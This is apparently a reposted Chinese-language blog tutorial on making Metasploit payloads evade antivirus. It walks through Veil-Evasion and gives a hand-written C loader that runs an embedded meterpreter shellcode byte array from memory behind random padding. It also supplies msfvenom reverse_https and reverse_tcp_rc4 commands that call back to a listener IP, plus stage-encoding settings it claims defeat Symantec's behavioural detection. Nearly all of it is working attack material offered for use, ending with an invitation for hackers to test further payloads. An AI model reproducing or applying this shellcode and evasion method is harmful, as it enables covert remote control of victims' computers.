1.payload免杀工具---veil-evasion的使用:
在kali上用apt-get install veil-evasion先自动安装好:
成功安装之后可以看到有46个payload可以使用
可以使用list命令列出看可以使用的payload
、
这里我们使用5号payload进行尝试:
设置好一些必要的参数:
然后generate就可以了,
生成的payload在一定程度上是免杀的!
2.用工具生成的payload始终是有限制,现在我们自己手写一个payload:
这个payload的大体框架是这样的:
//随机生成的偏移量
unsigned char padding[]="";
//msfvenom生成的c语言shellcode
unsigned char shellcode[]=""
;
//将shellcode压入内存,执行meterpreter
int main(void) {
((void(*)())shellcode)();
}
先生成1028为的随机偏移:
生成c语言shellcode:
把生成的shellcode和偏移量复制到相应位置,一个payload大概如下:
//This is random padding
unsigned char padding[]="Wq2IWhaZkTR2GUGZenoYpGQcjjpmmCRKXxlqOFOcdvfmdPykZFmMwD5wcrPptnnrRxGFs-dO9CY41zkTrCWtroLwuMUCNAsSbwWNk39vFe7ZpVMwB8tZhkP6U8JRZu8r1Emf4BQEefTAF5xN27UcrLrvqYLJHDR8xPco56nLyoshf-gpjMackBQ3izHD54uXQv1gPphuO1r6ZN0wzQ27H6LYchOv5OAYxMh0NkXp3KkuSPVUWCHq-UZRAg3-dKL2OEnwZDufrWanCvwG3gXNWhKeM6HujDgMoiytXeWJEVR2JvpMcrOQoqbVZoJdPUNd3L8DUYxDw8ok1QAflDWwGJ4eBh8I4e9zp0kjh5S2DwkCGpfYVUF8hzS4OdujD2JXwB5N2i3w1760w40hZ5z6JlzVezVFGxCZC4CY6YOKzvBNf8bkig9jIxSxMJEQrckgAm4PagZXwcOmJAthwEd66bAnDap7yiag-Jx-ayAGbdCfHslc7xrzE32Kx6czeAZkw85KNMPG0empx4BHZKL0ygqzNWjTaLfdBeo6xgJ1-dzJ77CuaiRjncMOJU2l7AMKHJyrfT7qRczbrl5H6acURfaS5ecHszkfzKOEL0ATdrsuI4-NuwyD2XkPnftNnHN5tqKkwjEnqrj-wmWJ4MQb3OxBGaUv5zcSIy3vkpgynjLMLLVaKb03noO32eiYHh1s4XUKDoyKQsfgB-z6rpKMoJPpuaWns2VsQlR7PoFlPrrOMQ94jc9kQcAqyxruHIgIYk4yD9x4BCoEpsVq9kJN6CwNMWfBfpAVxno73rRV37CGJu8Tx7jWVDhEzH-UpazqyG9TaaHfmJ0UyU6qlbm4xP1t7MHqVHGxUfF1TR1atoYxg08-NNkmncAd4rnA4k6HplE6O-HR-a1VEzVearVAjD-eSgUOSrk74smdOi0yp0Nzykb-Sd6HRe6IdXkjQ2irq2HaSNMp-ztRTARgQbax2jDbtAzyQgQDdPJzzOZRmuqpD5Nuw4O1YfbMGrLSX0FirYG1";
//This is meterpreter shellcode
unsigned char shellcode[]=
"\xbf\x36\x3f\x30\x0d\xd9\xf7\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
"\x6f\x31\x78\x13\x03\x78\x13\x83\xc0\x32\xdd\xc5\xb2\xb8\x7a"
"\xb8\xd5\x67\xb9\x1d\x91\xb3\xb6\xc6\x71\x72\x87\x9f\x06\x44"
"\xec\x6e\x71\x54\xee\xe8\x91\x34\x5e\x2e\x5b\x36\x19\x7f\x6a"
"\xaa\xd7\xab\x6d\x06\x4a\x51\x4d\x03\x76\xd7\xfb\x8a\x8b\xe0"
"\x6f\xc6\xdf\x39\x06\x3e\x78\x2b\xb9\x47\x45\xde\x99\x02\x44"
"\xfb\xa4\x19\xae\xaf\x45\x03\x58\x10\x3a\xeb\x68\x3b\xbb\xd5"
"\x7f\xcc\xa3\x2b\x87\xb5\xc7\x37\x37\x82\xb7\xfa\x4e\x75\x93"
"\xe8\x99\x95\x4e\xa8\x87\xed\x94\x90\xb7\xd3\x5a\xa9\x83\x8b"
"\xaf\x4f\xf5\xc4\x60\xdf\x04\x04\x7a\x78\x79\x53\x7d\x33\xc9"
"\xac\xd2\x3f\x02\x30\xb7\x62\x77\xac\x4c\x4e\x65\x08\xaa\x70"
"\x06\xe1\x41\x4e\xdd\x0d\xd7\x1a\x4d\xc1\xed\x43\xab\x28\x59"
"\xae\x64\x9a\x42\xed\x1c\xfe\x10\x5b\x08\xdb\xec\xb0\xe3\xc9"
"\xbd\xfc\xa2\xd5\x47\xf2\x0e\x3e\xcd\x15\x3b\x9f\x3c\xf6\xf3"
"\x08\x54\x45\xd8\xe3\x33\x96\xa8\x77\x0a\x91\x4e\x81\xb0\xb9"
"\x44\x24\x0d\x8f\x8e\x77\xf7\x3a\xc5\x31\xb7\x86\xbe\x5f\x34"
"\x6a\x1e\xd9\x25\x4e\x04\xed\x39\x57\xce\x24\x04\x32\x99\x33"
"\xbb\x9f\xfc\x0b\xac\x7f\xa6\x3b\x4b\x7b\x20\xaa\xa8\x12\xf4"
"\xfd\x6f\x01\xdc\xfd\x6b\x77\x3a\x79\xf5\x23\x40\x5e\x62\x84"
"\xd9\xd2\x39\x9a\xe0\x60\x6f\xa9\x99\xc4\x22\xaf\x35\xf0\x75"
"\x5d\xa0\x15\xfe\xb0\x6c\xa8\xf3\x5d\xc0\x70\x0f\x1d\xcc\x66"
"\x5a\xf4\x21\xcb\x24\x71\xf7\x19\x2a\xc4\xd6\xc1\x71\xf6\x5e"
"\x03\xd8\x31\x28\x89\x1a\x20\xda\xa7\xf0\xf1\x41\x95\x5a\x54"
"\x36\xdd\x8e\xab\x1c\x05\x70\x64\xf9\xdd\x27\x39\xd5\x8d\x8f"
"\x38\xb5\x68\xd8\xe7\xbe\x82\x06\x1e\x1e\xf9\xe6\x04\xef\x39"
"\xfb\x5b\xf4\x2f\x80\x20\x73\xf1\xe6\xf9\x0d\x3e\xfd\xb3\xa5"
"\x9f\x0d\x1a\x07\x46\x87\x80\xe7\x19\x5b\x81\xaf\x5a\xc5\xec"
"\x28\x44\xb1\x1b\xaf\xfa\x65\x30\xa4\x90\x9b\x2f\xe5\x17\xc0"
"\x36\x38\x03\x41\x29\xfd\xb2\x9e\x25\x4e\x68\x6f\xbb\xcc\xe6"
"\x35\xee\xc6\x73\x3d\x6e\x8d\x11\xae\x2e\xe3\x5d\xd8\xc9\xa7"
"\xce\xe5\x2b\x81\x4a\xd6\x8a\xc6\xaa\x59\x0f\xa6\xc5\x29\x44"
"\x66\xbb\xbc"
;
//push meterpreter into memory
int main(void) {
((void(*)())shellcode)();
}
编译运行,一个payload就完成了!
3.
上面生成shellcode的方式是针对杀软静态免杀的,接下来说到动态行为免杀。
在对市面上主流的杀软进行测试的过程中,发现symantec会在meterpreter回连成功,从metasploit里接受数据的时候报毒。
无论是自己手动编码编译还是msf自动生成的exe都会这样被报毒。
经过笔者自己测试,使用reverse_https等payload可以anti symantec。
msfvenom -p windows/meterpreter/reverse_https lhost=192.168.1.200 lport=443 -f c
但是需要在metasploit设置:
set EnableStageEncoding true
set stageencoder x86/fnstenv_mov
set stageencodingfallback false
将控制端向被控制端发送的stage进行编码,从而绕过symantec的查杀。
同样,使用reverse_tcp_rc4也有同样的效果,而且不用设置stageencoder选项,更稳定更方便。
msfvenom -p windows/meterpreter/reverse_tcp_rc4 lhost=192.168.1.200 lport=4444 RC4PASSWORD=Green-m -f c
利用rc4对传输的数据进行加密,密钥在生成时指定,在监听的服务端设置相同的密钥。就可以在symantec眼皮地下执行meterpreter。
这里做一个抛砖引玉的作用,其他payload的查杀效果需要各大黑客自己去测试。
转载自原文链接, 如需删除请联系管理员。
原文链接:绕过杀软的各种姿势,转载请注明来源!